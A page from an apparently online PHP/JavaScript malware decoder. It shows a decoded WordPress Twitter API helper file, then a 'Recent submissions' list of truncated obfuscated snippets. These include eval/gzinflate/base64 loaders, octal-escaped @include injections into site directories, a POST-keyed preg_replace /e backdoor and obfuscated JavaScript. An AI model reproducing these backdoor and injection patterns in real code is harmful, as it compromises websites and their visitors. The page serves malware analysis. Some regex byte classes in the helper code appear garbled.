Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


/**
 * Helper utilities for working with Twitter API data.
 * @author Tim Whitlock
 */




/**
 * Utility for rendering tweet text with clickable links
 * @param string plain text tweet
 * @param string optional target for links, defaults to _blank
 * @param bool optionally specify that passed text is already escaped HTML
 * @return string HTML source of tweet text
 */
function twitter_api_html( $src, $target = '_blank', $alreadyhtml = false ){
    if( ! $alreadyhtml ){
        $src = esc_html( $src );
    }
    // linkify URLs
    $src = twitter_api_html_linkify_urls( $src, $target );
    // linkify @names
    $src = preg_replace('!@([a-z0-9_]{1,15})!i', '<a class="twitter-screen-name" href="https://twitter.com/\\1" target="'.$target.'" rel="nofollow">\\0</a>', $src );
    // linkify #hashtags
    $src = preg_replace('/(?<!&)#(\w+)/i', '<a class="twitter-hashtag" href="https://twitter.com/search?q=%23\\1&amp;src=hash" target="'.$target.'" rel="nofollow">\\0</a>', $src );
    return $src;
} 



/**
 * Utility for rendering tweet text as clickable links, from *original* tweet text with entity data.
 * If you don't have entity data, then use twitter_api_html
 * @param string plain text tweet
 * @param array optionally pass known tweet entities to save string parsing
 * @param string optional target for links, defaults to _blank
 * @return string HTML source of tweet text
 */
function twitter_api_html_with_entities( $src, array $entities, $target = '_blank' ){

    // Raw tweet not expected to be encoded
    $src = esc_html( $src );
    
    // purposefully not using indicies, due to weird inaccuracies and chances previous filtering
    $replace = array();
    
    // Expand URLs, like twitter.com except using actual links
    if( isset($entities['urls']) && is_array($entities['urls']) ){
        foreach( $entities['urls'] as $r ){
            $find = esc_html( $r['url'] );
            $replace[ $find ] = twitter_api_html_linkify_urls($r['expanded_url']);
        }
    }
    if( isset($entities['media']) && is_array($entities['media']) ){
        foreach( $entities['media'] as $r ){
            $find = esc_html( $r['url'] );
            if( 0 === strpos($r['display_url'], 'pic.twitter.com' ) ) {
                $replace[ $find ] = twitter_api_html_linkify_urls( 'https://'.$r['display_url'] );
            }
            else {
                $replace[ $find ] = twitter_api_html_linkify_urls( $r['expanded_url'] );
            }
        }
    }
    // linkify @names using known mentions from twitter if passed
    if( isset($entities['user_mentions']) ){
        foreach( (array) $entities['user_mentions'] as $entity ){
            if( ! empty($entity['screen_name']) && isset($entity['indices']) ){
                $name = $entity['screen_name'];
                $find = '@'.$name;
                $repl = '&#x40;'.$name;
                $replace[$find] = '<a class="twitter-screen-name" href="https://twitter.com/'.$name.'" target="'.$target.'" rel="nofollow">'.$repl.'</a>';
            }
        }
    }
    // linkify #hashtags using known entities from twitter if passed
    if( isset($entities['hashtags']) ){
        foreach( (array) $entities['hashtags'] as $entity ){
            if( ! empty($entity['text']) && isset($entity['indices']) ){
                $query = array( 'q' => '#'.$entity['text'], 'src' => 'hash' );
                $href = esc_attr('https://twitter.com/search?'.http_build_query($query) );
                $html = esc_html( $entity['text'] );
                $find = '#'.$html;
                $repl = '&#x23;'.$html;
                $replace[$find] = '<a class="twitter-hashtag" href="'.$href.'" target="'.$target.'" rel="nofollow">'.$repl.'</a>';
            }
        }
    }
    // perform final replacement on encoded text
    if( $replace ){
        return str_replace( array_keys($replace), array_values($replace), $src );
    }    
    return $src;
} 




/**
 * linkify URLs (restricting to 30 chars as per twitter.com)
 */
function twitter_api_html_linkify_urls( $src, $target = '_blank' ){
    $src = preg_replace_callback('!(https?://)(\S+)!', 'twitter_api_html_linkify_callback', $src );
    if( '_blank' !== $target ){
        $src = str_replace( '"_blank"', '"'.$target.'"', $src );
    }
    return $src;
}



/**
 * @internal
 */
function twitter_api_html_linkify_callback( array $r ){
    list( , $proto, $label ) = $r;
    $href = $proto.html_entity_decode( $label );
    if( isset($label{30}) ){
        $label = substr_replace( $label, '&hellip;', 30 );
    }
    $label = rtrim( str_replace( '#', '&#35;', $label ), '/#?');
    return '<a href="'.$href.'" target="_blank" rel="nofollow">'.$label.'</a>';
}





/**
 * Utility converts the date [of a tweet] to relative time descriprion, e.g. about 2 minutes ago
 * 
 */
function twitter_api_relative_date( $strdate ){
    // get universal time now.
    static $t, $y, $m, $d, $h, $i, $s, $o;
    if( ! isset($t) ){
        $t = time();
        sscanf(gmdate('Y m d H i s',$t), '%u %u %u %u %u %u', $y,$m,$d,$h,$i,$s);
    }
    // get universal time of tweet
    $tt = is_int($strdate) ? $strdate : strtotime($strdate);
    if( ! $tt || $tt > $t ){
        // slight difference between our clock and Twitter's clock can cause problem here - just pretend it was zero seconds ago
        $tt = $t;
        $tdiff = 0;
    }
    else {
        sscanf(gmdate('Y m d H i s',$tt), '%u %u %u %u %u %u', $yy,$mm,$dd,$hh,$ii,$ss);
        // Calculate relative date string
        $tdiff = $t - $tt;
    }
    // Less than a minute ago?
    if( $tdiff < 60 ){
        return __('Just now','twitter-api');
    }
    // within last hour? X minutes ago
    if( $tdiff < 3600 ){
        $idiff = (int) floor( $tdiff / 60 );
        return sprintf( _n( '%u minute ago', '%u minutes ago', $idiff, 'twitter-api' ), $idiff );
    }
    // within same day? About X hours ago
    $samey = ($y === $yy) and
    $samem = ($m === $mm) and
    $samed = ($d === $dd);
    if( ! empty($samed) ){
        $hdiff = (int) floor( $tdiff / 3600 );
        return sprintf( _n( 'About an hour ago', 'About %u hours ago', $hdiff, 'twitter-api' ), $hdiff );
    }
    $tf = get_option('time_format') or $tf = 'g:i A';
    // within 24 hours?
    if( $tdiff < 86400 ){
        return __('Yesterday at','twitter-api').date_i18n(' '.$tf, $tt );
    }
    // else return formatted date, e.g. "Oct 20th 2008 9:27 PM" */
    $df = get_option('date_format') or $df= 'M jS Y'; 
    return date_i18n( $df.' '.$tf, $tt );
}   



/**
 * Clean four-byte characters out of tweet text, includes some emoji.
 * MySQL utf8 columns cannot store four byte Unicode sequences
 */
function twitter_api_strip_quadruple_bytes( $text ){
    // four byte utf8: 11110www 10xxxxxx 10yyyyyy 10zzzzzz
    return preg_replace('/[-][-]{3}/', '', $text );
}



/**
 * Replace Emoji characters with embedded images.
 * Should be run after htmlifying tweet and before stripping quadruple bytes
 */
function twitter_api_replace_emoji( $text, $callback = 'twitter_api_replace_emoji_callback' ){
    return preg_replace_callback('/(?:[-][-]|[----][-]|[-][--][------]|[#-9]⃣)/', $callback, $text );
}



/**
 * Default Emoji replacement callback
 * @internal
 */
function twitter_api_replace_emoji_callback( array $match ){
    try {
        if( empty($match[0]) ){
            return '';
        }
        $ref = twitter_api_emoji_ref( $match[0] );
        if( ! $ref ){
            return $match[0];
        }
        $html  = '<img src="https://abs.twimg.com/emoji/v1/72x72/'.$ref.'.png" style="width:1em;" class="emoji emoji-'.$ref.'" />';
        return $html;
    }
    catch( Exception $e ){
        WP_DEBUG and trigger_error( $e->getMessage(), E_USER_WARNING );
        return '';
    }
}



/**
 * Get a hex name for a single emoji symbol
 * @param string raw bytes, e.g. "😁"
 * @return string hex name suitable for creating a class or ID e.g. "1f601" or "1f1ec-1f1e7" for compound symbols
 */
function twitter_api_emoji_ref( $raw ){
    static $emoji;
    if( ! isset($emoji) ){
        $emoji = include twitter_api_basedir().'/inc/return-emoji.php';
    }
    if( isset($emoji[$raw]) ){
        return $emoji[$raw];
    }
}



/**
 * Resolve shortened url fields via entities
 * @return string
 */ 
function twitter_api_expand_urls( $text, array $entities ){
    if( isset($entities['urls']) && is_array($entities['urls']) ){
        foreach( $entities['urls'] as $r ){
            $text = str_replace( $r['url'], $r['expanded_url'], $text );
        }
    }
    if( isset($entities['media']) && is_array($entities['media']) ){
        foreach( $entities['media'] as $r ){
            if( 0 === strpos($r['display_url'], 'pic.twitter.com' ) ) {
                $text = str_replace( $r['url'], 'https://'.$r['display_url'], $text );
            }
            else {
                $text = str_replace( $r['url'], $r['expanded_url'], $text );
            }
        }
    }
    return $text;
}        





Recent submissions:

[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&qu... <?php ��r_reporting(0); ��_time_limit (0); $praga=rand(100000,1000000); $pmd... <?php $O0O0_OO__0='403'; $O_0O0_0_OO='1'; $OO_OO_00_0='1'; $O000__OO_O="jy457w9zdg6re1... @include "\057h\157m\145/\147w\141l\151o\162o\057p\165b\154i\143_\150t\155l\057s\145r\16... \x20a\x20b\x20c... */ ${"\x47\x4c\x4f\x42ALS"}["\x72\x76\x65\x66\x66\x6e"]="\x6cim\x70\x6f";${"\x47\x4c\x4f\... ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6fw\x62\x6et\x68\x78\x66\x6cq\x6c"]="\x6d\x65\x69o";${"G... base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvdG1wL3Z1bG4yLnBocCIgOw0... var _rVt = ["\x5F\x6A\x7A\x37\x7A","\x75","\x73\x72\x63","\x72\x65\x74\x75\x72\x6E\x20\x28... var _0xfdt=["\x68\x74\x74\x70\x73\x3A","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x6C\x6F\x63\x6... <?php goto KJJPH; I6t6o: include "\x6f\142\152\145\143\x74\x50\x72\157\x63\x65\x64\151\15... eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBkRxZn0f6q3Gcs+... <?php /* Modulo Comercial - Loja5.com.br Proibido vender, revender ou distribuir o mes... //Qm0vSnhQSnZnRStvS3JZckpPUVh1ek54SXRDek05MzR1MFM5d1I4N0dXYXhpUEcwZVUwdmRXSkExMUNnQnBwK0Fu... <?php /* * ============================================================================ ... function s_(s,c){return s.charAt(c)};function D_(){var temp="",i,c=0,out="";var str="60!10... \057h\157m\145/\155o\144a\057p\165b\154i\143_\150t\155l\057a\144m\151n\057c\157n\164r\157l... <?php $lol=rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudec... \057h\157m\145/\150a\154i\143/\160u\142l\151c\137h\164m\154/\151m\141g\145/\143a\164a\154o... @'$ yumingid=112 lineid=2418 x3= x4=WVepvYrZsM x5=dribblecharging,blocking,slalom,eli... "\057ho\155e/\155kd\151xo\156/p\165bl\151c_\150tm\154/w\160-c\157nt\145nt\057pl\165gi\156s... <?php if(!defined('_NET')) { error_reporting(0); $NET='sh19044'; define('_NET',$NET... <?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x6ci\x6c\x75\x77z"]="\x6fo\x6f\x6foo\x6foo\x... ??????<?php if($_POST['wG9gBZp4bxd7']){ $_="b"/**/."ase64_decode"; preg_replace("/^/e",... \057ho\155e/\143ul\164ur\141pa\163eo\057pu\142li\143_h\164ml\057wp\055co\156te\156t/\164ra... Gk2!\xd6\xa7\x7f\xf5\xb0\xe9\xe1m{8\x92*\xc5\x93\xdb\x162\xc3G\x8c5k\xcd\x03&\xa0\xc3(\xcd... // ==UserScript== // @name G2A Timezone Glitch // @namespace G2A // @version... <?php $UeXploiT = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJT... <?php /* This file is protected by copyright law and provided under license. Reverse engi... eval(gzinflate(base64_decode('H4sIALICOlwC/41XW2/iRhR+Dr/C2idQERpfME6jPrjGSZAgICCbblcrNLbH... var _0x7ee8=["\x63\x61\x6C\x6C","\x62\x75\x67\x2D\x73\x74\x72\x69\x6E\x67\x2D\x63\x68\x61\... /*eb80c*/ @include "\057h\157m\145/\143c\147o\154f\145d\057w\167w\057c\157m\160o\156e\1... <?php /* SMART PRO 2019 TODOS OS DIREITOS RESERVADOS N?O ALTERE AS LINHAS OU O SISTEMA D... 2\x78\x65\x68\x66f\x63\x76\x6c\... @include "\057hom\145/lo\157thp\1439/p\165bli\143_ht\155l/c\141tal\157g/l\141ngu\141ge/\14... @include "\057ho\155e/\154oo\164hp\1439/\160ub\154ic\137ht\155l/\143at\141lo\147/l\141ng... @include "\\057ho\\155e/\\163to\\162ag\\145/e\\05750\\05766\\057ib\\144i-\\145du\\063/p\\1... <?php /*** Site : http://www.tool.eddiekidiw.com/phpobfuscator-v-02.html Date : 2019-... <?php eval('?>'.gzinflate(base64_decode('jZLdT8IwFMXfSfgfbvaCxgTokPlFIDhiosnwAY0P+nKBy1b7... eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... @include "\057h\157m\145/\155a\144e\155o\151s\165s\057w\167w\057w\160-\151n\143l\165d\145s... \155... "\057v\141r\057w\167w\057v\150o\163t\163/\141r\143h\145r\163d\145l\141d\157u\142l\145.\156... "Name:"\320\242\321\216\320\274\320\265\320\275\321\201\320\272\320\260\321\217 \320\276\3... \103:/in\145tpub\057wwwr\157ot/w\167w.si\156dica\164opet\162oler\157s.co\155/wp-\151nclu\1... <?php eval("?>".base64_decode("PD9waHANCiRsaW5rcyA9IGFycmF5KA0KImFhcm9uLWFudGhvbnkiLA0KImF... ["","\x23","\x73\x70\x6C\x69\x74","\x76\x61\x6C","\x23\x74\x65\x73\x74\x78","\x68\x74\x6D\... var _0xb1b5=["1R 1z=["\t\f\n\P\e\b\a\1q\f\R\f\e\x\t\f\c\b\n\S\m\n\1e\c\e\b\G\W\f\x\n\v\K\a... eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... /*24e40*/ @include "\057h\157m\145/\164h\145i\156d\1514\057p\165b\154i\143_\150t\155l\0... /*19e80*/ @include "\057ho\155e/\164he\151nd\1514/\160ub\154ic\137ht\155l/\155on\147ol\... /*28584*/ @include "\057h\157m\145/\164h\145i\156d\1514\057p\165b\154i\143_\150t\155l\0... /*0f227*/ @include "\057h\157m\145/\142o\165l\154e\065/\160u\142l\151c\137h\164m\154/... /*01f7e*/ @include "\057hom\145/th\145ind\1514/p\165bli\143_ht\155l/h\157meb\165ild\145... /*f13e3*/ @include "\057home\057thei\156di4/\160ubli\143_htm\154/hom\145buil\144ersh\14... /*15c18*/ @include "\057h\157m\145/\164h\145i\156d\1514\057p\165b\154i\143_\150t\155l\0... /*0f0a9*/ @include "\057ho\155e/\164he\151nd\1514/\160ub\154ic\137ht\155l/\146ar\155la\... /*58b4a*/ @include "\057home\057thei\156di4/\160ubli\143_htm\154/far\155land\160et/w\16... /*573a4*/ @include "\057hom\145/th\145ind\1514/p\165bli\143_ht\155l/e\143om/\167p-i\156... eval(gzuncompress(base64_decode("eNpTKS1OLcpLzE21VXIuSywytLQwUbLm5VIpSCwuLs8vSkEIGxoaQqRSc... /*b232f*/ @include "\057ho\155e/\164he\151nd\1514/\160ub\154ic\137ht\155l/\145co\155/w\... /*09399*/ @include "\057hom\145/th\145ind\1514/p\165bli\143_ht\155l/c\145leb\162ity\055... /*41c2d*/ @include "\057home\057thei\156di4/\160ubli\143_htm\154/boo\153-aut\150or/w\16... /*e92b7*/ @include "\057ho\155e/\164he\151nd\1514/\160ub\154ic\137ht\155l/\142oo\153-a\... /*5825f*/ @include "\057hom\145/ga\154lop\142i/p\165bli\143_ht\155l/g\145niu\163ico\156... <?php class l0 { public $O0; public function __construct(&$O0) { if (!l1($O0)) { $O0=O1::l... /*52300*/ @include "\057home\057gall\157pbi/\160ubli\143_htm\154/tre\141ty.o\156line\05... /*d4d80*/ @include "\057h\157m\145/\147a\154l\157p\142i\057p\165b\154i\143_\150t\155l\0... \150e\154\154o... /*cf807*/ @include "\057hom\145/ga\154lop\142i/p\165bli\143_ht\155l/t\157moa\162-ag\162... \057ho\155e/\07171\057do\155ai\156s/\160ie\162og\151or\147i.\157rg\057ht\155l/\167p-\151nc... /*569c4*/ @include "\057h\157m\145/\147a\154l\157p\142i\057p\165b\154i\143_\150t\155l\0... /*d80f8*/ @include "\057home\057gall\157pbi/\160ubli\143_htm\154/sof\164byte\151nfot\14... /*23e88*/ @include "\057home\0571245\0717/do\155ains\057viul\151te.c\157m/ht\155l/wp\05... /*7c6d1*/ @include "\057home\057gall\157pbi/\160ubli\143_htm\154/shr\145ebha\162tipu\14... /*975ed*/ @include "\057hom\145/ga\154lop\142i/p\165bli\143_ht\155l/s\143hol\141rsa\143... /*3f61f*/ @include "\057hom\145/ga\154lop\142i/p\165bli\143_ht\155l/s\143hol\141rsa\143... /*69956*/ @include "\057h\157m\145/\147a\154l\157p\142i\057p\165b\154i\143_\150t\155l\0... /*36835*/ @include "\057ho\155e/\147al\154op\142i/\160ub\154ic\137ht\155l/\157xf\157rd\... /*d5ab1*/ @include "\057h\157m\145/\147a\154l\157p\142i\057p\165b\154i\143_\150t\155l\0... /*c7b9d*/ @include "\057home\057gall\157pbi/\160ubli\143_htm\154/org\141nica\162omas\05... /*0b804*/ @include "\057h\157m\145/\147a\154l\157p\142i\057p\165b\154i\143_\150t\155l\0... /*e0978*/ @include "\057h\157m\145/\147a\154l\157p\142i\057p\165b\154i\143_\150t\155l\0... /*07e3d*/ @include "\057ho\155e/\147al\154op\142i/\160ub\154ic\137ht\155l/\156ew\145ra\... /*6bd7c*/ @include "\057home\057gall\157pbi/\160ubli\143_htm\154/new\141dmis\163ion.\14... /*49aa8*/ @include "\057ho\155e/\147al\154op\142i/\160ub\154ic\137ht\155l/\156ew\141dm\... /*e0963*/ @include "\057ho\155e/\147al\154op\142i/\160ub\154ic\137ht\155l/\156cm\144ha\... /*f6afc*/ @include "\057ho\155e/\147al\154op\142i/\160ub\154ic\137ht\155l/\156cm\144ha\... /*c6faf*/ @include "\057home\057gall\157pbi/\160ubli\143_htm\154/nat\165re/w\160-adm\15... /*7c23c*/ @include "\057h\157m\145/\147a\154l\157p\142i\057p\165b\154i\143_\150t\155l\0... /*644c4*/ /*@include "\057v\141r\057w\167w\057v\150o\163t\163/\141r\143h\145r\163d\145l... @include "\057va\162/w\167w/\166ho\163ts\057ar\143he\162sd\145la\144ou\142le\056ne\164/h\1... "\057va\162/w\167w/\166ho\163ts\057ar\143he\162sd\145la\144ou\142le\056ne\164/h\164tp\144o... $a = chr(95).chr(116).chr(101).chr(109).chr(112).chr(108).chr(111).chr(99).chr(97).chr(116... chr(95).chr(116).chr(101).chr(109).chr(112).chr(108).chr(111).chr(99).chr(97).chr(116).chr... \x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x... var _0x62dd=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x74\x69\x74\x6C\x65","\x67\x65\x74\x... x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x74\x69\x74\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\... "s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51)... "b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65"...

© 2019 Quttera Ltd. All rights reserved.